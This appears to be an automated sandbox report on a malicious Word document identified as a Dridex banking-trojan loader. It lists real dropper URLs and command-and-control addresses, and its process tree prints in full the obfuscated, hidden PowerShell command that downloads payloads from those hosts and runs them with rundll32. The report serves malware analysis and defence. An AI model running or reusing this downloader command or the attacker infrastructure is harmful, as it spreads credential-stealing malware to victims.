Overview

overview

10

Static

static

8

Informatio...53.doc

windows7_x64

10

Informatio...53.doc

windows10_x64

10

Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    20/11/2020, 05:27

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Information-822908953.doc
  • Size 117KB
  • Sample201120-npy8159bfx
  • SHA256 d2bc5e480daba7368064d7de34a53077e968dafc86084c87191c5c3d2fb7c444
  • MD5 SHA1 SHA512
Score
10/10
dridex10555botnetcryptonediscoveryevasionloaderpackertrojan

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://veva.vn/zntk070.png
  • exe.dropper

    http://hardmed-eg.com/o76nxa.png
  • exe.dropper

    http://islamabout.com/ga140h7l.zip
  • exe.dropper

    http://ferretec.com/c2eivsswg.rar
  • exe.dropper

    http://rasadbar.ir/t6yswb.pdf
  • exe.dropper

    http://seniorcarecompass.inifaresworkshops.com/vr6ebzold.png

Extracted

Family

  • dridex

Botnet

  • 10555

C2

  • 162.241.44.26:9443

  • 192.232.229.53:4443

  • 77.220.64.34:443

  • 193.90.12.121:3098

rc4.plain
rc4.plain

Signatures

  • Dridex

    Dridex(known as Bugat/Cridex) is a form of malware that specializes in stealing bank credentials.

    botnetdridex
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • CryptOne packer 5 IoCs

    Detects CryptOne packer defined in NCC blogpost.

    cryptonepacker
  • Dridex Loader 1 IoCs

    Detects Dridex both x86 and x64 loader in memory.

    botnetloader
  • Blocklisted process makes network request 3 IoCs
  • Loads dropped DLL 4 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
    adwarespyware
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Information-822908953.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1056
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1276
    • C:\Windows\system32\cmd.exe
      cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD UwBWACAAIAB0ADQAQgA3AGsAIAAoACAAWwBUAFkAUABFAF0AKAAiAHsAMQB9AHsAMgB9AHsAMAB9AHsAMwB9ACIALQBmACcAbwAuAEQAaQAnACwAJwBzAFkAcwBUAEUATQAnACwAJwAuAGkAJwAsACcAUgBlAGMAdABvAHIAWQAnACkAIAAgACkAOwAgACAAIAAgACQARgAzADUAQwA4AFgAIAAgAD0AIAAgAFsAdAB5AFAARQBdACgAIgB7ADQAfQB7ADEAfQB7ADIAfQB7ADcAfQB7ADAAfQB7ADYAfQB7ADUAfQB7ADMAfQB7ADgAfQAiACAALQBmACAAJwBDAGUAcABPAEkAJwAsACcAeQBzAFQAZQBtAC4AbgBFAFQALgBzAEUAJwAsACcAUgBWACcALAAnAEEATgBBAGcAZQAnACwAJwBzACcALAAnAHQATQAnACwAJwBOACcALAAnAEkAJwAsACcAUgAnACkAOwAgACAAJABYAGsAYgA3AHIANQBsAD0AKAAoACcAQgA3ACcAKwAnAGYAJwApACsAJwBfACcAKwAoACcAeQAnACsAJwBnAHkAJwApACkAOwAkAFUAZwBsAHAAeABtAGcAPQAkAE0AXwBzADAAeABxADYAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFQANAAxAGIAbwBpAGEAOwAkAEMAcAB0AG4AawBrAGUAPQAoACgAJwBLADAAJwArACcAMAAnACkAKwAoACcAaQAnACsAJwB6AGUAdgAnACkAKQA7ACAAKAAgACAAZwBFAHQALQB2AGEAcgBJAEEAYgBMAEUAIAAgAHQANABiADcASwAgACAALQB2AEEATABVAGUAbwBuAEwAeQAgACAAKQA6ADoAIgBjAHIARQBBAHQAYABFAGAARABpAFIAYABFAEMAYABUAE8AUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAwAH0AJwArACgAJwBFADEAYgAnACsAJwBhACcAKQArACcAZAA1ACcAKwAnAGUAewAwAH0AUgB2AG0AJwArACcAbgAnACsAJwA3AGsAZAB7ADAAfQAnACkALQBGACAAIABbAEMASABBAFIAXQA5ADIAKQApADsAJABZADcANwA4ADMAZQBqAD0AKAAnAEwAcQAnACsAJwBmAHoAJwArACgAJwBlACcAKwAnAGsAegAnACkAKQA7ACAAIAAkAEYAMwA1AGMAOABYADoAOgAiAFMARQBgAEMAdQBgAFIAaQBUAGAAeQBwAHIAYABPAFQATwBjAG8AbAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQAVwB5ADgAaQB5AGsAZwA9ACgAKAAnAFcAZgAnACsAJwB1AHkAJwApACsAJwByACcAKwAnAHcAOAAnACkAOwAkAEsANgBiAG8AdwAxAHcAIAA9ACAAKAAnAEYAaAAnACsAKAAnAGQAdAAnACsAJwBtAGUAJwApACsAJwAxADAAJwApADsAJABCADkANgBmAHAAagBlAD0AKAAoACcARABuAGEAJwArACcAaAAnACkAKwAnAG4ANQAnACsAJwB4ACcAKQA7ACQAUgBiAHgAdQB2AF8ANQA9ACgAJwBOACcAKwAoACcAcwA4AGgAJwArACcAZgByACcAKQArACcAMgAnACkAOwAkAFUAeQB2AHoAeQB5AHEAPQAkAEgATwBNAEUAKwAoACgAJwB7ADAAJwArACcAfQBFADEAYgAnACsAKAAnAGEAJwArACcAZAA1AGUAJwApACsAJwB7ADAAJwArACcAfQAnACsAKAAnAFIAdgBtAG4AJwArACcANwBrACcAKQArACcAZAB7ADAAfQAnACkALQBGAFsAYwBIAGEAcgBdADkAMgApACsAJABLADYAYgBvAHcAMQB3ACsAKAAoACcALgBkACcAKwAnAGwAJwApACsAJwBsACcAKQA7ACQAWQBiAHcAbgBsAGIAcQA9ACgAKAAnAEwAbgBtACcAKwAnAGoANwAnACkAKwAnAG8AJwArACcANQAnACkAOwAkAEYAawA3AGUAYQByAF8APQBOAGAAZQBXAC0AYABvAGAAQgBqAEUAYwB0ACAATgBlAFQALgB3AGUAQgBDAGwASQBlAE4AVAA7ACQATwBtAGkAcQAxAHMAaQA9ACgAKAAnAGgAdAAnACsAKAAnAHQAcAAnACsAJwA6AFEAJwApACsAJwApACcAKwAoACgAJwAoAHEAZAAnACsAJwBkACkAKAAnACkAKQArACgAKAAnAFEAKQAnACsAJwAoAHEAZAAnACkAKQArACgAKAAnAGQAKQAnACsAJwAoAHYAJwApACkAKwAoACgAJwBlAHYAJwArACcAYQAuAHYAbgBRACcAKwAnACkAKAAnACkAKQArACgAKAAnAHEAZAAnACsAJwBkACkAKAAnACkAKQArACgAJwB6AG4AdABrACcAKwAnADAAJwApACsAKAAnADcAMAAuACcAKwAnAHAAbgAnACkAKwAnAGcAQAAnACsAKAAnAGgAdAAnACsAJwB0AHAAOgBRACcAKQArACgAKAAnACkAKAAnACkAKQArACgAJwBxACcAKwAnAGQAZAAnACkAKwAoACgAJwApACgAJwApACkAKwAnAFEAJwArACgAKAAnACkAKAAnACkAKQArACcAcQAnACsAJwBkACcAKwAnAGQAJwArACcAKQAnACsAKAAoACcAKAAnACsAJwBoAGEAJwApACkAKwAoACcAcgBkACcAKwAnAG0AJwApACsAKAAnAGUAJwArACcAZAAtACcAKQArACcAZQAnACsAJwBnACcAKwAoACcALgBjACcAKwAnAG8AJwApACsAJwBtACcAKwAoACgAJwBRACkAJwApACkAKwAoACgAJwAoAHEAZAAnACsAJwBkACkAJwArACcAKABvACcAKQApACsAKAAnADcAJwArACcANgBuAHgAJwApACsAJwBhAC4AJwArACgAJwBwAG4AJwArACcAZwAnACkAKwAnAEAAaAAnACsAJwB0AHQAJwArACgAJwBwACcAKwAnADoAUQAnACkAKwAoACgAJwApACgAcQAnACsAJwBkACcAKwAnAGQAKQAnACkAKQArACgAKAAnACgAUQAnACkAKQArACcAKQAnACsAKAAnACgAJwArACcAcQBkAGQAKQAnACkAKwAoACgAJwAoAGkAJwApACkAKwAnAHMAbAAnACsAJwBhACcAKwAnAG0AJwArACgAJwBhAGIAbwB1ACcAKwAnAHQAJwApACsAKAAoACcALgBjACcAKwAnAG8AbQBRACcAKwAnACkAKABxAGQAZAAnACkAKQArACgAKAAnACkAKABnAGEAMQAnACsAJwA0ADAAJwArACcAaAA3AGwALgB6ACcAKwAnAGkAcAAnACkAKQArACcAQABoACcAKwAoACcAdAB0ACcAKwAnAHAAJwApACsAJwA6ACcAKwAoACgAJwBRACkAJwApACkAKwAoACgAJwAoAHEAJwArACcAZAAnACkAKQArACgAKAAnAGQAKQAnACkAKQArACcAKAAnACsAKAAoACcAUQApACgAcQAnACsAJwBkAGQAKQAoACcAKQApACsAKAAnAGYAZQByACcAKwAnAHIAZQB0AGUAJwArACcAYwAnACkAKwAnAC4AYwAnACsAKAAoACcAbwBtAFEAKQAoACcAKwAnAHEAZAAnACkAKQArACgAKAAnAGQAKQAoAGMAMgAnACsAJwBlAGkAdgAnACsAJwBzACcAKwAnAHMAdwBnAC4AJwArACcAcgBhAHIAJwApACkAKwAoACcAQAAnACsAJwBoAHQAdAAnACkAKwAnAHAAOgAnACsAKAAoACcAUQApACcAKQApACsAKAAnACgAcQBkAGQAJwArACcAKQAnACkAKwAnACgAJwArACgAKAAnAFEAKQAnACkAKQArACcAKAAnACsAJwBxACcAKwAoACgAJwBkAGQAJwArACcAKQAnACkAKQArACgAJwAoACcAKwAnAHIAYQBzAGEAZABiAGEAcgAuACcAKwAnAGkAcgBRACkAJwApACsAKAAoACcAKAAnACsAJwBxAGQAJwApACkAKwAnAGQAJwArACgAKAAnACkAJwArACcAKAB0ADYAeQBzACcAKwAnAHcAYgAuAHAAJwApACkAKwAoACcAZABmACcAKwAnAEAAJwApACsAJwBoAHQAJwArACcAdAAnACsAJwBwADoAJwArACgAKAAnAFEAKQAnACkAKQArACgAJwAoAHEAZAAnACsAJwBkACcAKwAnACkAKABRACkAJwApACsAKAAoACcAKABxACcAKQApACsAJwBkACcAKwAoACgAJwBkACkAJwApACkAKwAoACgAJwAoACcAKwAnAHMAZQBuACcAKwAnAGkAbwAnACkAKQArACcAcgBjACcAKwAnAGEAcgAnACsAJwBlAGMAJwArACgAJwBvAG0AcABhACcAKwAnAHMAJwApACsAJwBzACcAKwAoACcALgAnACsAJwBpAG4AJwApACsAKAAnAGkAJwArACcAZgBhACcAKQArACcAcgBlACcAKwAoACcAcwB3ACcAKwAnAG8AcgBrACcAKQArACcAcwAnACsAJwBoAG8AJwArACcAcAAnACsAJwBzACcAKwAnAC4AJwArACcAYwAnACsAKAAoACcAbwBtAFEAJwArACcAKQAnACkAKQArACgAKAAnACgAcQBkAGQAJwArACcAKQAoACcAKQApACsAKAAnAHYAJwArACcAcgA2AGUAYgB6ACcAKwAnAG8AbABkAC4AJwArACcAcABuAGcAJwApACsAJwBAACcAKQApAC4AIgBSAGUAcABMAGEAYABDAEUAIgAoACgAKAAoACgAJwBRACcAKwAnACkAKAAnACkAKQArACgAKAAnAHEAZAAnACsAJwBkACkAKAAnACkAKQApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAGgAdwAnACsAJwBlACcAKQApAFsAMABdACkALgAiAFMAUABgAEwAaQB0ACIAKAAkAEwANQB5AGQAYwBvAHYAIAArACAAJABVAGcAbABwAHgAbQBnACAAKwAgACQAQwBrAHgAOABuADkAZQApADsAJABQAGMAagBsAGgAawBvAD0AKAAnAFAAMQAnACsAKAAnAGUAJwArACcAaQB4AHUAeQAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVQB5ADMAOQBnAF8AdgAgAGkAbgAgACQATwBtAGkAcQAxAHMAaQAgAHwAIABTAGAATwBgAFIAYABUAC0AbwBiAGoAYABFAGMAVAAgAHsAZwBFAGAAVAAtAFIAQQBgAE4AZABgAG8AbQB9ACkAewB0AHIAeQB7ACQARgBrADcAZQBhAHIAXwAuACIARABgAG8AVwBuAEwATwBhAGAARABGAGAASQBsAEUAIgAoACQAVQB5ADMAOQBnAF8AdgAsACAAJABVAHkAdgB6AHkAeQBxACkAOwAkAFIAcwAyAG0ANQB5ADcAPQAoACgAJwBNACcAKwAnAHQAagAnACkAKwAoACcAYgAnACsAJwBwAHQAdQAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABVAHkAdgB6AHkAeQBxACkALgAiAEwARQBOAGcAYABUAGgAIgAgAC0AZwBlACAANAAwADQAMAAwACkAIAB7ACYAKAAnAHIAdQAnACsAJwBuAGQAbAAnACsAJwBsADMAMgAuAGUAeABlACcAKQAgACQAVQB5AHYAegB5AHkAcQAsADAAOwAkAFIAeAA1AGYAcwBnAGcAPQAoACgAJwBBAHMAJwArACcAbgBrACcAKQArACgAJwBuACcAKwAnAHEAdQAnACkAKQA7AGIAcgBlAGEAawA7ACQATQBpADYAZwA0ADYAMAA9ACgAKAAnAFMAJwArACcANgB6ACcAKQArACcAYQAnACsAKAAnAG0AJwArACcAaQBiACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABQAF8AMAA4ADYAXwBnAD0AKAAoACcATwAnACsAJwA5ADUAZwAnACkAKwAnAHQAJwArACcAawBkACcAKQA=
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1636
      • C:\Windows\system32\msg.exe
        msg Admin /v Word experienced an error trying to open the file.
        2⤵
          PID:1680
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          POwersheLL -w hidden -ENCOD UwBWACAAIAB0ADQAQgA3AGsAIAAoACAAWwBUAFkAUABFAF0AKAAiAHsAMQB9AHsAMgB9AHsAMAB9AHsAMwB9ACIALQBmACcAbwAuAEQAaQAnACwAJwBzAFkAcwBUAEUATQAnACwAJwAuAGkAJwAsACcAUgBlAGMAdABvAHIAWQAnACkAIAAgACkAOwAgACAAIAAgACQARgAzADUAQwA4AFgAIAAgAD0AIAAgAFsAdAB5AFAARQBdACgAIgB7ADQAfQB7ADEAfQB7ADIAfQB7ADcAfQB7ADAAfQB7ADYAfQB7ADUAfQB7ADMAfQB7ADgAfQAiACAALQBmACAAJwBDAGUAcABPAEkAJwAsACcAeQBzAFQAZQBtAC4AbgBFAFQALgBzAEUAJwAsACcAUgBWACcALAAnAEEATgBBAGcAZQAnACwAJwBzACcALAAnAHQATQAnACwAJwBOACcALAAnAEkAJwAsACcAUgAnACkAOwAgACAAJABYAGsAYgA3AHIANQBsAD0AKAAoACcAQgA3ACcAKwAnAGYAJwApACsAJwBfACcAKwAoACcAeQAnACsAJwBnAHkAJwApACkAOwAkAFUAZwBsAHAAeABtAGcAPQAkAE0AXwBzADAAeABxADYAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFQANAAxAGIAbwBpAGEAOwAkAEMAcAB0AG4AawBrAGUAPQAoACgAJwBLADAAJwArACcAMAAnACkAKwAoACcAaQAnACsAJwB6AGUAdgAnACkAKQA7ACAAKAAgACAAZwBFAHQALQB2AGEAcgBJAEEAYgBMAEUAIAAgAHQANABiADcASwAgACAALQB2AEEATABVAGUAbwBuAEwAeQAgACAAKQA6ADoAIgBjAHIARQBBAHQAYABFAGAARABpAFIAYABFAEMAYABUAE8AUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAwAH0AJwArACgAJwBFADEAYgAnACsAJwBhACcAKQArACcAZAA1ACcAKwAnAGUAewAwAH0AUgB2AG0AJwArACcAbgAnACsAJwA3AGsAZAB7ADAAfQAnACkALQBGACAAIABbAEMASABBAFIAXQA5ADIAKQApADsAJABZADcANwA4ADMAZQBqAD0AKAAnAEwAcQAnACsAJwBmAHoAJwArACgAJwBlACcAKwAnAGsAegAnACkAKQA7ACAAIAAkAEYAMwA1AGMAOABYADoAOgAiAFMARQBgAEMAdQBgAFIAaQBUAGAAeQBwAHIAYABPAFQATwBjAG8AbAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQAVwB5ADgAaQB5AGsAZwA9ACgAKAAnAFcAZgAnACsAJwB1AHkAJwApACsAJwByACcAKwAnAHcAOAAnACkAOwAkAEsANgBiAG8AdwAxAHcAIAA9ACAAKAAnAEYAaAAnACsAKAAnAGQAdAAnACsAJwBtAGUAJwApACsAJwAxADAAJwApADsAJABCADkANgBmAHAAagBlAD0AKAAoACcARABuAGEAJwArACcAaAAnACkAKwAnAG4ANQAnACsAJwB4ACcAKQA7ACQAUgBiAHgAdQB2AF8ANQA9ACgAJwBOACcAKwAoACcAcwA4AGgAJwArACcAZgByACcAKQArACcAMgAnACkAOwAkAFUAeQB2AHoAeQB5AHEAPQAkAEgATwBNAEUAKwAoACgAJwB7ADAAJwArACcAfQBFADEAYgAnACsAKAAnAGEAJwArACcAZAA1AGUAJwApACsAJwB7ADAAJwArACcAfQAnACsAKAAnAFIAdgBtAG4AJwArACcANwBrACcAKQArACcAZAB7ADAAfQAnACkALQBGAFsAYwBIAGEAcgBdADkAMgApACsAJABLADYAYgBvAHcAMQB3ACsAKAAoACcALgBkACcAKwAnAGwAJwApACsAJwBsACcAKQA7ACQAWQBiAHcAbgBsAGIAcQA9ACgAKAAnAEwAbgBtACcAKwAnAGoANwAnACkAKwAnAG8AJwArACcANQAnACkAOwAkAEYAawA3AGUAYQByAF8APQBOAGAAZQBXAC0AYABvAGAAQgBqAEUAYwB0ACAATgBlAFQALgB3AGUAQgBDAGwASQBlAE4AVAA7ACQATwBtAGkAcQAxAHMAaQA9ACgAKAAnAGgAdAAnACsAKAAnAHQAcAAnACsAJwA6AFEAJwApACsAJwApACcAKwAoACgAJwAoAHEAZAAnACsAJwBkACkAKAAnACkAKQArACgAKAAnAFEAKQAnACsAJwAoAHEAZAAnACkAKQArACgAKAAnAGQAKQAnACsAJwAoAHYAJwApACkAKwAoACgAJwBlAHYAJwArACcAYQAuAHYAbgBRACcAKwAnACkAKAAnACkAKQArACgAKAAnAHEAZAAnACsAJwBkACkAKAAnACkAKQArACgAJwB6AG4AdABrACcAKwAnADAAJwApACsAKAAnADcAMAAuACcAKwAnAHAAbgAnACkAKwAnAGcAQAAnACsAKAAnAGgAdAAnACsAJwB0AHAAOgBRACcAKQArACgAKAAnACkAKAAnACkAKQArACgAJwBxACcAKwAnAGQAZAAnACkAKwAoACgAJwApACgAJwApACkAKwAnAFEAJwArACgAKAAnACkAKAAnACkAKQArACcAcQAnACsAJwBkACcAKwAnAGQAJwArACcAKQAnACsAKAAoACcAKAAnACsAJwBoAGEAJwApACkAKwAoACcAcgBkACcAKwAnAG0AJwApACsAKAAnAGUAJwArACcAZAAtACcAKQArACcAZQAnACsAJwBnACcAKwAoACcALgBjACcAKwAnAG8AJwApACsAJwBtACcAKwAoACgAJwBRACkAJwApACkAKwAoACgAJwAoAHEAZAAnACsAJwBkACkAJwArACcAKABvACcAKQApACsAKAAnADcAJwArACcANgBuAHgAJwApACsAJwBhAC4AJwArACgAJwBwAG4AJwArACcAZwAnACkAKwAnAEAAaAAnACsAJwB0AHQAJwArACgAJwBwACcAKwAnADoAUQAnACkAKwAoACgAJwApACgAcQAnACsAJwBkACcAKwAnAGQAKQAnACkAKQArACgAKAAnACgAUQAnACkAKQArACcAKQAnACsAKAAnACgAJwArACcAcQBkAGQAKQAnACkAKwAoACgAJwAoAGkAJwApACkAKwAnAHMAbAAnACsAJwBhACcAKwAnAG0AJwArACgAJwBhAGIAbwB1ACcAKwAnAHQAJwApACsAKAAoACcALgBjACcAKwAnAG8AbQBRACcAKwAnACkAKABxAGQAZAAnACkAKQArACgAKAAnACkAKABnAGEAMQAnACsAJwA0ADAAJwArACcAaAA3AGwALgB6ACcAKwAnAGkAcAAnACkAKQArACcAQABoACcAKwAoACcAdAB0ACcAKwAnAHAAJwApACsAJwA6ACcAKwAoACgAJwBRACkAJwApACkAKwAoACgAJwAoAHEAJwArACcAZAAnACkAKQArACgAKAAnAGQAKQAnACkAKQArACcAKAAnACsAKAAoACcAUQApACgAcQAnACsAJwBkAGQAKQAoACcAKQApACsAKAAnAGYAZQByACcAKwAnAHIAZQB0AGUAJwArACcAYwAnACkAKwAnAC4AYwAnACsAKAAoACcAbwBtAFEAKQAoACcAKwAnAHEAZAAnACkAKQArACgAKAAnAGQAKQAoAGMAMgAnACsAJwBlAGkAdgAnACsAJwBzACcAKwAnAHMAdwBnAC4AJwArACcAcgBhAHIAJwApACkAKwAoACcAQAAnACsAJwBoAHQAdAAnACkAKwAnAHAAOgAnACsAKAAoACcAUQApACcAKQApACsAKAAnACgAcQBkAGQAJwArACcAKQAnACkAKwAnACgAJwArACgAKAAnAFEAKQAnACkAKQArACcAKAAnACsAJwBxACcAKwAoACgAJwBkAGQAJwArACcAKQAnACkAKQArACgAJwAoACcAKwAnAHIAYQBzAGEAZABiAGEAcgAuACcAKwAnAGkAcgBRACkAJwApACsAKAAoACcAKAAnACsAJwBxAGQAJwApACkAKwAnAGQAJwArACgAKAAnACkAJwArACcAKAB0ADYAeQBzACcAKwAnAHcAYgAuAHAAJwApACkAKwAoACcAZABmACcAKwAnAEAAJwApACsAJwBoAHQAJwArACcAdAAnACsAJwBwADoAJwArACgAKAAnAFEAKQAnACkAKQArACgAJwAoAHEAZAAnACsAJwBkACcAKwAnACkAKABRACkAJwApACsAKAAoACcAKABxACcAKQApACsAJwBkACcAKwAoACgAJwBkACkAJwApACkAKwAoACgAJwAoACcAKwAnAHMAZQBuACcAKwAnAGkAbwAnACkAKQArACcAcgBjACcAKwAnAGEAcgAnACsAJwBlAGMAJwArACgAJwBvAG0AcABhACcAKwAnAHMAJwApACsAJwBzACcAKwAoACcALgAnACsAJwBpAG4AJwApACsAKAAnAGkAJwArACcAZgBhACcAKQArACcAcgBlACcAKwAoACcAcwB3ACcAKwAnAG8AcgBrACcAKQArACcAcwAnACsAJwBoAG8AJwArACcAcAAnACsAJwBzACcAKwAnAC4AJwArACcAYwAnACsAKAAoACcAbwBtAFEAJwArACcAKQAnACkAKQArACgAKAAnACgAcQBkAGQAJwArACcAKQAoACcAKQApACsAKAAnAHYAJwArACcAcgA2AGUAYgB6ACcAKwAnAG8AbABkAC4AJwArACcAcABuAGcAJwApACsAJwBAACcAKQApAC4AIgBSAGUAcABMAGEAYABDAEUAIgAoACgAKAAoACgAJwBRACcAKwAnACkAKAAnACkAKQArACgAKAAnAHEAZAAnACsAJwBkACkAKAAnACkAKQApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAGgAdwAnACsAJwBlACcAKQApAFsAMABdACkALgAiAFMAUABgAEwAaQB0ACIAKAAkAEwANQB5AGQAYwBvAHYAIAArACAAJABVAGcAbABwAHgAbQBnACAAKwAgACQAQwBrAHgAOABuADkAZQApADsAJABQAGMAagBsAGgAawBvAD0AKAAnAFAAMQAnACsAKAAnAGUAJwArACcAaQB4AHUAeQAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVQB5ADMAOQBnAF8AdgAgAGkAbgAgACQATwBtAGkAcQAxAHMAaQAgAHwAIABTAGAATwBgAFIAYABUAC0AbwBiAGoAYABFAGMAVAAgAHsAZwBFAGAAVAAtAFIAQQBgAE4AZABgAG8AbQB9ACkAewB0AHIAeQB7ACQARgBrADcAZQBhAHIAXwAuACIARABgAG8AVwBuAEwATwBhAGAARABGAGAASQBsAEUAIgAoACQAVQB5ADMAOQBnAF8AdgAsACAAJABVAHkAdgB6AHkAeQBxACkAOwAkAFIAcwAyAG0ANQB5ADcAPQAoACgAJwBNACcAKwAnAHQAagAnACkAKwAoACcAYgAnACsAJwBwAHQAdQAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABVAHkAdgB6AHkAeQBxACkALgAiAEwARQBOAGcAYABUAGgAIgAgAC0AZwBlACAANAAwADQAMAAwACkAIAB7ACYAKAAnAHIAdQAnACsAJwBuAGQAbAAnACsAJwBsADMAMgAuAGUAeABlACcAKQAgACQAVQB5AHYAegB5AHkAcQAsADAAOwAkAFIAeAA1AGYAcwBnAGcAPQAoACgAJwBBAHMAJwArACcAbgBrACcAKQArACgAJwBuACcAKwAnAHEAdQAnACkAKQA7AGIAcgBlAGEAawA7ACQATQBpADYAZwA0ADYAMAA9ACgAKAAnAFMAJwArACcANgB6ACcAKQArACcAYQAnACsAKAAnAG0AJwArACcAaQBiACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABQAF8AMAA4ADYAXwBnAD0AKAAoACcATwAnACsAJwA5ADUAZwAnACkAKwAnAHQAJwArACcAawBkACcAKQA=
          2⤵
          • Blocklisted process makes network request
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:584
          • C:\Windows\system32\rundll32.exe
            "C:\Windows\system32\rundll32.exe" C:\Users\Admin\E1bad5e\Rvmn7kd\Fhdtme10.dll 0
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1604
            • C:\Windows\SysWOW64\rundll32.exe
              "C:\Windows\system32\rundll32.exe" C:\Users\Admin\E1bad5e\Rvmn7kd\Fhdtme10.dll 0
              4⤵
              • Blocklisted process makes network request
              • Loads dropped DLL
              • Checks whether UAC is enabled
              PID:2024

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            memory/108-21-0x000007FEF6930000-0x000007FEF6BAA000-memory.dmp
            Download

            memory/584-10-0x000000001C430000-0x000000001C431000-memory.dmp
            Download

            memory/584-6-0x0000000001F60000-0x0000000001F61000-memory.dmp
            Download

            memory/584-8-0x00000000020B0000-0x00000000020B1000-memory.dmp
            Download

            memory/584-9-0x0000000001EC0000-0x0000000001EC1000-memory.dmp
            Download

            memory/584-7-0x000000001AC50000-0x000000001AC51000-memory.dmp
            Download

            memory/584-12-0x000000001C500000-0x000000001C501000-memory.dmp
            Download

            memory/584-5-0x000007FEF5960000-0x000007FEF634C000-memory.dmp
            Download

            memory/1056-0-0x0000000000554000-0x0000000000556000-memory.dmp
            Download

            memory/1056-2-0x0000000005B0E000-0x0000000005B10000-memory.dmp
            Download

            memory/1056-1-0x0000000006670000-0x0000000006674000-memory.dmp
            Download

            memory/2024-20-0x00000000007F0000-0x000000000082D000-memory.dmp
            Download